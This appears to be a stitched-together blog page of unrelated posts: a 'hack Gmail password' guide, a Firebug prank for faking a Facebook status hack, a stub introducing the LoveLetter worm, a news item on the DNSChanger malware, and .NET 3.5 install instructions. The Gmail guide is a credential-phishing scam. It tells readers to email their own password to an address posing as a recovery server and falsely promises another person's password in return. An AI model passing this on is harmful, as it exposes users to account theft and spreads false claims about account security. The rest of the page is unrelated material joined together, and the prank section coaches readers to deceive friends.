Hack G-mail Password

How to hack gmail passwords? It is possible and it is easy.

* STEP 1- Log in to your own gmail account. Note: Your account must be at least 1 week old for this trick to work.

* STEP 2- Once you have logged into your own account, compose/write an e-mail to: lost.pass.retr@gmail.com depending on which account u want to hack...This is the mailing address to the automated server that sends out passwords to users who have forgotten them. What you are going to do is trick the server into thinking that it is sending your password to you but it will send you the pass for the account you are trying to hack instead.

* STEP 3- In the subject line type exactly: “userpassword retrieve” (case sensitive, without the inverted commas)

* STEP 4- On the first line of your mail write the email address of the person you are hacking.

* STEP 5- On the second line type in the e-mail address you are using.

* STEP 6- On the third line type in the password to YOUR email address (your OWN password). The computer needs your password so it can send a completed JavaScript form from your account in the Gmail Server to extract the other email addresses password. This works because you are sending your password to a machine not a person. The process will be done automatically by the user administration server.

* STEP 7- The final step before sending the mail is, type on the fourth line the following code exactly:

2SUGm9qwM482SUGm9qwM48 (case sensitive)

The password will be sent to your inbox within 48 hrs in a mail called “System Reg Message” . Hack who ever u want (just don't hack me)

Change your friend's FB Status

Many people are fond of hacking Facebook accounts. I see many friends who get afraid when their Facebook account has been stolen or compromised. You too can threaten them by changing their Facebook status with a small tricks I’ve found.

It’s wonder that you can edit someone’s status, Right? Let us have a view on requirements to change friend’s status message. To perform this trick you need,

1. Mozilla Firefox 5.0 or later
2. Firefox Plugin: Firebug (Download here: https://addons.mozilla.org/en-US/firefox/addon/firebug/)

When you are ready with these two materials, you are ready to start your trick. I admit that this trick is just to play pranks on friends and not a real hacking method. Facebook accounts cannot be hacked legally due to top level security.

You can prank your friends by another method too. You will be operating a future machine. But your friend thinks that its a real future machine. The Suspense is, you will be operating the Future Machine.

I hope that you have Mozilla Firefox 5.0 or later and a Firebug Plugin. After installing Firebug, make sure that you have restarted your Firefox browser.

Log in to your Facebook account.

Go to your Friend’s Wall/Timeline.

Choose any one of the status you want to edit. Keep mouse pointer exactly at the text of the status and select Inspect element.

You will be seeing a window which opens at the bottom of the browser. Now just search your friend’s status that you want to edit. For example see the below picture.

After searching, select the text in the coding area. Type your new text or move arrows to edit the same status.

You can find that your friend’s status has been modified with your text.

After refreshing the page, you will be finding that his/her status modified to original. So do the following to make your friend to believe that you have hacked his/her Facebook account.

Close the Firebug Window and make a screenshot. Upload to your Facebook Albums. Show your Friends that you hacked your friend’s account.

You can follow this method to edit your friend’s comment too. Wish you Happy Prank Journey!

Love Letter (A Worm Virus)

Below is the text of the pathetic LoveLetter "virus", for anyone who's interested. It has been reformatted as an plain text/HTML file, so there's no need to worry about being infected by it. For God's sake, don't copy the text into a .VBS file and run it, espescially if you have installed any new MSIE (this little bugger will wipe out your MP3s!!) 

Editor's note: If you're going to write a virus, use a REAL language (assembler)!! Maybe C if you're desperate...

What are DNS Changer Viruses?

DNS (Domain Name System) is an Internet service that converts user-friendly domain names into the numerical Internet protocol (IP) addresses that computers use to talk to each other. For example, google.com is actually an IP address (173.194.38.164). DNS makes it easier for us to remember the site names. DNS servers convert the domain names into IP addresses.

Now the malware, changes the domain naming servers in your computer and uses a different malicious DNS server. This malicious DNS server, swaps IP's and takes the user to a fake site.

Now if you log in to any of your accounts in the fake site, then your log in information is compromised. That's how the malware steals Credit Card details from the user.

FBI Process to stop DNS Changer : 

The Federal Bureau of Investigation (FBI) is on the final stage of its Operation Ghost Click, which strikes against the menace of the DNSChanger virus and trojan. Infected PCs running the DNSChanger malware at unawares are in the danger of going offline on this coming Monday (July 9) when the FBI plans to pull down the online servers that communicate with the virus on host computers.

After gaining access to a host PC, the DNSChanger virus tries to modify the DNS (Domain Name Server) settings, which are essential for Internet access, to send traffic to malicious servers. These poisoned web addresses in turn point traffic generated through infected PCs to fake or unsafe websites, most of them running online scams. There are also reports that the DNSChanger virus also acts as a trojan, allowing perpetrators of the hack attack to gain access to infected PCs.

Google issued a general advisory for netizens in May earlier this year to detect and remove DNSChanger from infected PCs. According to our report, some 5 lakh PCs were still infected by the DNSChanger virus in May 2012.

The first report of the DNSChanger virus and its affiliation with an international group of hackers first came to light towards the end of last year, and the FBI has been chasing them down ever since. The group behind the DNSChanger virus is estimated to have infected close to 4 million PCs around the world in 2011, until the FBI shut them down in November.

In the last stage of Operation Ghost Click, the FBI plans to pull the plug and bring down the temporary rogue DNS servers on Monday, July 9, according to an official announcement. As a result, PCs still infected by the DNSChanger virus will be unable to access the Internet.

Installing .net Framework 3.5 on Windows 8

The .NET Framework 4.5 is included with Windows 8 and installed on your computer with the operating system. However, the .NET Framework 3.5 is not automatically installed with Windows 8. To run applications that require the .NET Framework 3.5 on Windows 8, you must enable version 3.5 on your computer. There are two ways you can do this: by installing or running an application that requires the .NET Framework 3.5 (that is, by installing the .NET Framework 3.5 on demand), or by enabling the .NET Framework 3.5 in Control Panel. Both options require an Internet connection.

If an application requires the .NET Framework 3.5, but doesn't find that version enabled on your computer, it displays the following message box, either during installation, or when you run the application for the first time. In the message box, choose Install this feature to enable the .NET Framework 3.5. This option requires an Internet connection.

Prompt for installing the .NET Framework 3.5 on demand

You can also enable the .NET Framework 3.5 yourself through Control Panel. In Control Panel, choose Programs and Features, choose Turn Windows features on or off, and then select the Microsoft .NET Framework 3.5.1 check box. This option requires an Internet connection.

Turning Windows features on or off in Control Panel

If installing the .NET Framework 3.5 on demand or enabling it in Control Panel fails, you may get one of the following error messages:

0x800f0906: “Windows couldn't connect to the Internet to download necessary files. Make sure that you're connected to the Internet, and click Retry to try again.”

0x800F081F: “The changes could not be completed. Please reboot your computer and try again.”

These messages may be displayed for the following reasons:

Your computer is not connected to the Internet. Please connect, and then retry the operation.

If you cannot connect to the Internet, you can enable the .NET Framework 3.5 by using the Deployment Image Servicing and Management (DISM) command-line tool and specifying the installation media (ISO image or DVD) you installed Windows 8 from.

In Windows 8 or Windows Server 2012, open a Command Prompt window with administrative credentials (that is, choose Run as administrator).


To install the .NET Framework 3.5 from installation media located in the D:\sources\sxs directory, use the following command:

DISM /Online /Enable-Feature /FeatureName:NetFx3 /All /LimitAccess /Source:d:\sources\sxs

Use /All to enable all parent features of the .NET Framework 3.5.


Use /LimitAccess to prevent DISM from contacting Windows Update.


Use /Source to specify the location of the files needed to restore the feature.

For more information about DISM parameters and options, see How to Enable or Disable Windows Features


You are using a local source, but the network location is inaccessible or doesn’t have the right content. Install the .NET Framework 3.5 from installation media as described in the previous bullet point.


Your administrator has configured your computer to use Windows Server Update Services (WSUS) instead of Windows Update for servicing. Ask your administrator to enable the policy to use Windows Update instead of WSUS.

If these instructions do not correct the problem, download the paper Microsoft .NET Framework 3.5 Deployment Considerations from the Windows Dev Center for more extensive troubleshooting information.
